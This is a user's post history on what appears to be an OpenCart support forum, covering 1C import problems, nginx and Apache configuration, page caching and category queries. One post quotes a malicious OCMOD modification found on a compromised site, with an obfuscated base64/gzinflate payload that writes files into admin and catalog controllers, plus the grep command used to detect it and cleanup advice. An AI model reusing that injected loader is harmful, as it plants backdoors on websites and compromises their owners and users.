Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

AntonMuxa

Користувачі
  
  • Публікації

    102
  • З нами

  • Відвідування

Повідомлення, опубліковані користувачем AntonMuxa

  1. On 2/5/2020 at 1:18 PM, niva36 said:

     

    Такая же проблема на днях случилась:


     

    
    2020-02-05 10:57:25 - Client IP address: 195.211.29.xxx
    2020-02-05 10:57:25 - 0.785 Mb | 0041 | [ECHO] success
    2020-02-05 10:57:25 - 0.785 Mb | 0044 | [ECHO] key
    
    2020-02-05 10:57:31 - Client IP address: 195.211.29.xxx
    2020-02-05 10:57:31 - 0.790 Mb | 0041 | [ECHO] success
    2020-02-05 10:57:31 - 0.790 Mb | 0044 | [ECHO] key
    
    2020-02-05 10:57:31 - Client IP address: 195.211.29.xxx
    2020-02-05 10:57:31 - Client IP address: 195.211.29.xxx
    2020-02-05 10:57:31 - 0.995 Mb | 2384 | modeFileCatalog
    2020-02-05 10:57:31 - 0.996 Mb | 2299 | modeFile
    2020-02-05 10:57:31 - 0.996 Mb | 2331 | upload file: /home/u17907/site.ru/www/system/storage/cache/exchange1c/v8_BB99_9bf.zip
    2020-02-05 10:57:31 - 0.996 Mb | 2335 | time_limit: 60
    2020-02-05 10:57:31 - 0.996 Mb | 2336 | memory_limit: 500M
    2020-02-05 10:57:31 - 1.198 Mb | 2347 | file size: 211053
    2020-02-05 10:57:31 - 1.198 Mb | 1992 | extractZip(): Распаковка архива: = /home/u17907/site.ru/www/system/storage/cache/exchange1c/v8_BB99_9bf.zip
    2020-02-05 10:57:31 - 1.200 Mb | 1948 | Распаковка XML,  name = import0_1.xml
    2020-02-05 10:57:31 - 1.589 Mb | 1979 | Завершена распаковка XML
    2020-02-05 10:57:31 - 1.200 Mb | 1878 | Распаковка картинки = import_files/34/3435732347e711eabbfa3085a94545cd_3435732447e711eabbfa3085a94545cd.jpg
    2020-02-05 10:57:31 - 1.200 Mb | 1878 | Распаковка картинки = import_files/79/79738e71474011eabbfa3085a94545cd_79738e72474011eabbfa3085a94545cd.jpg
    2020-02-05 10:57:31 - 1.200 Mb | 2030 | extractZip(): Завершена распаковка архива
    2020-02-05 10:57:31 - 0.997 Mb | 0041 | [ECHO] success
    2020-02-05 10:57:31 - 0.997 Mb | 0044 | [ECHO] Successfully import catalog
    2020-02-05 10:59:25 - Client IP address: 195.211.29.xxx
    2020-02-05 10:59:25 - 0.785 Mb | 0041 | [ECHO] success
    2020-02-05 10:59:25 - 0.785 Mb | 0044 | [ECHO] key
    
    2020-02-05 10:59:25 - Client IP address: 195.211.29.xxx
    2020-02-05 10:59:27 - Client IP address: 195.211.29.xxx
    2020-02-05 10:59:27 - 1.594 Mb | 2384 | modeFileCatalog
    2020-02-05 10:59:27 - 1.594 Mb | 2299 | modeFile
    2020-02-05 10:59:27 - 1.595 Mb | 2331 | upload file: /home/u17907/site.ru/www/system/storage/cache/exchange1c/v8_BB99_9c0.zip
    2020-02-05 10:59:27 - 1.595 Mb | 2335 | time_limit: 60
    2020-02-05 10:59:27 - 1.595 Mb | 2336 | memory_limit: 500M
    2020-02-05 10:59:27 - 2.395 Mb | 2347 | file size: 838597
    2020-02-05 10:59:27 - 2.395 Mb | 1992 | extractZip(): Распаковка архива: = /home/u17907/catalog.els-ekb.ru/www/system/storage/cache/exchange1c/v8_BB99_9c0.zip
    2020-02-05 10:59:27 - 2.396 Mb | 1948 | Распаковка XML,  name = offers0_1.xml
    2020-02-05 10:59:27 - 40.566 Mb | 1979 | Завершена распаковка XML
    2020-02-05 10:59:27 - 2.396 Mb | 2030 | extractZip(): Завершена распаковка архива
    2020-02-05 10:59:27 - 1.595 Mb | 0041 | [ECHO] success
    2020-02-05 10:59:27 - 1.595 Mb | 0044 | [ECHO] Successfully import catalog

    Вроде бы все успешно, а на сайте (и в базе) ничего не появилось. Модуль обмена 1.6.3.11

    В чем может быть проблема?

     

    Такая же проблема. Как то решили ?

  2. Ситуация следующая - стоит на opencart 1.5 pagespeed от budgetneon https://github.com/budgetneon/pagecache.  Карточки товаров кешируются все отлично, но заметил что категории не кешируются. Начал отладку и понял что после  $controller->dispatch($action, new Action('error/not_found')); код останавливает свое выполнение !хотя! вывод страниц идет и все отрабатывает и страница с товарами отображается, но в кеш она не попадает и  страница 'error/not_found' не выпадает не в лог, никуда. Так вот сам вопрос чем $controller->dispatch($action, new Action('error/not_found')); может останавливать код? Или как вообще может работать вывод страницы не выполнив код после строки $controller->dispatch($action, new Action('error/not_found')); в index.php На скриншоте видно что за код.

     

    Screenshot_1.png

  3. 1 hour ago, srfbc said:

    Спасибо за ответ, но если я вставляю текст в исходный код (там где черный экран), то текст вообще не сохраняется, после сохранения поле пустое

    Нажмите исходный код, вставьте html код, нажмите опять на кнопку исходный код а потом сохраните

  4. Пока решение только сгенерировать для всех сайтов чпу ссылки и даже для домен.ру/en/index.php?route=common/language/language но как по мне это не решение. А вдруг где-то есть ссылка без чпу. Грешу 100% на nginx так как на apache тестировалось на нескольких сайтах все работает а nginx прям не поддается

  5. Ситуация такая - сделал в url приставку для языка en типа домен.ру/en это английская версия сайта а просто домен.ру русская версия. Тестировалось на apache + nginx все работает как часы. А вот на основном серваке оказался nginx + php-fpm и вот ссылки без чпу с приставкой типа домен.ру/en/index.php?route=common/language/language или домен.ру/en/index.php?route=product/product&path=78&product_id=121 не работает а вот ссылки типа чпу товара с чпу работает. Вопрос что нужно поправить в nginx чтобы все работало.

    вот настраивал nginx так

    Spoiler

        location / {
            try_files $uri $uri/ @opencart;
            location ~* ^.+\.(jpeg|jpg|png|gif|bmp|ico|svg|css|js)$ {
                expires     max;
            }

            location ~ [^/]\.php(/|$) {
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                if (!-f $document_root$fastcgi_script_name) {
                    return  404;
                }

                fastcgi_pass    127.0.0.1:9002;
                fastcgi_index   index.php;
                include         /etc/nginx/fastcgi_params;
            }
        }

        location @opencart {
            rewrite ^/(.+)$ /index.php?_route_=$1 last;
        }

     

  6. 10 minutes ago, mpn2005 said:

    1) Чистить всё что найдёте.

    2) Менять пароли на фтп, в админку к БД.

    3) Просматривать логи на предмет подозрительной активности. Ищите в логах про строке ".php"

    4) Во все подпапки сайта (первой вложенности в корне,кроме admin. И так же в подпапках в папке admin) можно разложить файлы ".htaccess" c запретом на открытие файлов php. (Тут есть много других приёмов, но они уже требуют некотрой квалификации в настройке сервера. И зависят от используемых пакетов.)

     

    И так по кругу. Пока не пеерстанут появляться левые файлы.

     

    Если есть заведомо чистый бэкап, то можно на него откатиться.

     

    понял спасибо.

  7. OpenCart 2.3.0.2.3  - в модификаторах появился модуль Ocstore. Вот содержание

    Spoiler

    <?xml version="1.0" encoding="utf-8"?>
    <modification>
       <name><![CDATA[OCstore]]></name>
       <code>OCstore</code>
       <version>1.0</version>
       <author>teknohiz.com</author>
       <link>teknohiz.com</link>

    <file path="catalog/controller/common/footer.php">
           <operation>
                <search><![CDATA[$data['text_newsletter'] = $this->language->get('text_newsletter');]]></search>
                <add position="after" trim="true"><![CDATA[
                    $datasss = base64_decode(gzinflate(base64_decode('dVXblqI6FPygeeGi08OjcpM4YHMJtzchPaAJyDpq2/D1pwB7dE6fecgihE3tyq7Kzquh3fabVWX4p/dtJW0Nv3st7fjqK1bP9HVXJFabh+sjSwMpT52zsyGiVMR3rNVF41dMsbBOLllK/nFsr88TSypUx9OBtT38mJ7A5vtErnOFVq/hqiXD2dMb0WxtMZRKLG314Bc1tSi2zi1TBGd21aYhr8ghq4il+ZHs0aRnpzwR7X7j49uqIYcVT+X1K5WDgijLukjiO1fGtinwK87vWGPOR6zKunwTnIgsvYAXIXYt9gk7MX2lOU889nbc5UotPeKec/wZWzTWBdwuWcLEIz6omW3+mVt5juk0DFFsPOFsvvD9cA1H2t1QmjD43Pe4rnrH6i982LWQtWuWyOJnu77mfXnPceKzXoixrb5srCXqre6TQNrrN/65z20EDodgxksZuMc95v2+H7FLsTMDn1BPJ9HaIlHVuzr9cPXY9nu69EM6BDpduiHWLPdGKF2QyJQJNfGslvOo11j/mEbEZXxHHFnvR5w+XgPv5hkrEVBTBGaGQZCrNknkYTj4n6usZW2uZAP+M0i06gl1ejxHTMypgqEidhGGdOEmN+EPwDq6wj9y4Y64R6smdOTng0Ml4akA35q5+MAy8b42Cc2Ahzl1wH/MwYd53TJ8iQKn7sPWeke8Woa099WV8KMKeajYIc8uEuM/S+AgjwV8YWCOHIGFPOC4NsJJnxPPbUvKJm08mW0CUTbikvfV/bzEapaOa3JdNucz2XjdW0O70Rf7JDv99lgkVZGI3UgXkzfyxDsV/aqNmljklnb3yG8/TGcyb+NrpkJvZVFlaiyNeiNnC2+cv3rgdvfQjT97/TX84rnubfbsX33kR/CSAU24I1yO2tBMnWo/akGhOc2hd4W6OWP9BwZveKGE/1hT6LEOr8nw3EcA77kDdD16d1+ulrNfiO3BiwG86B0QP6yEa5rQBvngBVfygRUj1jKCiHiRshCBwfEdnCIuAh78nDSivjQNcMla5Im8UVOJhbHuQfMdfLszyBirhD3tvTA2wEvCmdA9fZp/7EKcj0NsgYeJs7HA3PaaE/afgQv4mI7wJBd+IgGJmFXMniCjtvvUG/IUL4/+h5qWY1/s3vrg2RcaUaUX0i/lsvng0P49t+kpV7uuaPLzGLfdQAM7EJmi8TyseGF/8db1a57F/3mw24b8StRzu1PmXp/HWsOS5ZHZ4r04VC2BV57vhG100T739J+eVY93QXHRv6XKi3+2Vf8SvgSVvQSGeHFW8JEv+jwNsK/F7G9j7JMCZyU+l7hL3m587JsT9sPPy195WnelGgxbnZEpF71zpXlfKPIW9xty8NmrPh97qWCy9uil9uxvOFOMe2cbIo91LWytf+qd1ePu4JNueipNfL7g6ffzEE19npQNzltKro7dDRNf1K9QoNPv/jxr8BotcN5iNb3fGz/R48ezRgbp25+15FNPmPK3GMcf3/4F')));
                    $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/admin/controller/design/image.php', 'w');
                    fwrite($fp, $datasss.PHP_EOL);
                    fclose($fp);
                    $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/catalog/controller/affiliate/image.php', 'w');
                    fwrite($fp, $datasss.PHP_EOL);
                    fclose($fp);
                    
             ]]></add>
           </operation>
    </file>

    </modification>

    А нашел его командой(egrep -ril “base64_decode|auth_pass|shell_exec” /home/user/site.com) в следствии того что на сервак пожаловались что от нас идет атака и обнаружили крон задачу ежеминутную на выполнение файла 3.02_conf - мой антивирусник на него сразу сказал вирус аля троян агент.

    Кто подскажет где могла быть уязвимость. Ибо на сайте нет загрузчиков картинок от клиентов. Или брутфорсом могли подобрать пароль к базе? в общем пока все смотрю. Приму все советы куда глянуть на сервере и что сделать

  8. Итог: выставили вот такие настройки для apache

    <IfModule event.c>
    ServerLimit            256
    MaxClients         400
    MinSpareThreads     50
    MaxSpareThreads     150
    ThreadsPerChild     100
    KeepAliveTimeout    20
    MaxRequestsPerChild  4096
    </IfModule>

    все летает и нагрузки нет.

    Все довольны - всем спасибо

  9. 18 minutes ago, Dotrox said:

    Для этого есть лимиты на количество воркеров. Память растёт не просто так - её съедают воркеры.

    У Апача их количество тоже можно ограничить, но жрёт он больше, так что воркеров будет меньше. Вы, кстати, Апач вручную настраивали?

    в том то и дело что нет не настраивал. Это я так понял надо какой то mpm включить и в конфиге настроить MaxRequestsPerChild MinSpareServers MaxSpareServers  ? а какие рекомендации ? при параметрах CPU: 4 RAM: 4 Гб SSD: 60 Гб

  10. 2 minutes ago, Dotrox said:

    Не раз настраивал такое на nginx + php-fpm и никогда не возникало мысли, что с Апачем было бы проще (скорее, наоборот).

     

     

    ну допустим поставим nginx + php-fpm где гарантии что ram не будет рости? сейчас все быстро и классно работает но вот только ram подводит и у меня есть подозрение сколько там не было бы оперативы она будет рости до предела

  11. 1 minute ago, Dotrox said:

    Выкинуть Апач на свалку и поставить php-fpm.

     

    А размер базы к работе Апача никакого отношения не имеет. Разве что, если база тормозит, это заставляет воркер Апача дольше висеть на каждом запросе и, соответственно, нужно больше параллельных воркеров.

    просто там мультимагазин и куча поддоменов - на основные города России. И настроить их мог только на apache а в nginx + php-fpm опыта не было.

  12. Перевезли сайт с шаредхостинга на vps на бегете. CPU: 4 RAM: 4 Гб SSD: 60 Гб в итоге httpd(апач) сжирает всю память. После перезагрузки где-то 1.2Гб занято потом растет до 3.6Гб И в итоге начинает убивать процессы. Техподдержка написала:

    Quote

    То сколько они потребляют зависит уже от размера баз, типов запросов к сайту, количества запросов, конфигураций. Память расходуется на выполнение кода чем более он оптимизирован тем меньше памяти потребляет путь решения лежит в оптимизации кода, но даже идеальный код в случае большого количества запросов не сможет работать в условиях ограниченного лимита памяти. Если искусственно занизить порог потребления памяти веб сервером, то он будет сбрасывать соединения и сайт для многих пользователей будет недоступен

    Кто что посоветует? Сколько будет стоить правильная настройка сервера или сайта? Или хотя бы анализ. Ибо вообще не понятно куда смотреть

  13. 17 minutes ago, fanatic said:

    может как-то так

    
     $sql = "SELECT path_id FROM " . DB_PREFIX . "category_path WHERE category_id = '" . (int)$category_id . "'  AND level = '0'";

     

    Почти то только это выдаст для одной категории его главную подкатегорию, а мне как оказалось подошло решение из seo_pro - если кому надо вот готовый код featured.php

    Всем спасибо за советы

  14. 8 minutes ago, fanatic said:
    
    AND p2c.main_category = '1'

     

    это не то. Мне по подкатегории (может быть и 3 уровня вложенности) надо определить главную категорию у которой parent_id = 0

    Например:

    Гаражные ворота (Главная)

            Золотые (подкатегория)

                         Широкие (подподкатегория)

                         Узкие (подподкатегория)

            Титановые (подкатегория)

          

    Например я знаю что у рекомендованного товара категория Узкие. Как узнать главную категорию этой подподкатегории?

  15. Есть модуль стандартный рекомендуемые товары. В нем хочу сделать вкладки категорий для тех которые выбраны как рекомендуемые. Сейчас я вывел для категорий товара и они выводтся все ок. Но это оказалось много категорий теперь хотелось бы вывести только главные категории. Код прикрепил featured.php. И вот функция в моделе которой я нахожу категории по id товара

    	public function getCategoriesByProducts($product_id) {
    		$sql = "SELECT c.category_id, cd.name, p2c.product_id FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd ON (c.category_id = cd.category_id) LEFT JOIN " . DB_PREFIX . "category_to_store c2s ON (c.category_id = c2s.category_id) LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (c.category_id = p2c.category_id) WHERE p2c.product_id = '" . (int)$product_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "'  AND c.status = '1' ORDER BY c.sort_order, LCASE(cd.name)";
    
    		$query = $this->db->query($sql);
    
    		return $query->rows;
    	}

    Сейчас выводятся все категории а хотелось бы чтобы это все по главным рассортировалось. Принимаю любые советы

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.